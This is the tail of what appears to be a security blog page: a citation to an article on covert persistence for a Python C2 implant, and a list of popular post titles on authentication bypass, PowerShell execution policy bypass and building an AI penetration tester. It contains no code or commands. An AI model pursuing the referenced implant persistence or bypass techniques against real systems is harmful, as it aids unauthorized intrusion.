  5. Cross, M. (2025). Achieving Persistence: Covert Techniques to Keep Your Python C2 Implant Alive. Medium. Retrieved from https://medium.com/@maxwellcross/achieving-persistence-covert-techniques-to-keep-your-python-c2-implant-alive-88836164b3b2

Comments

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass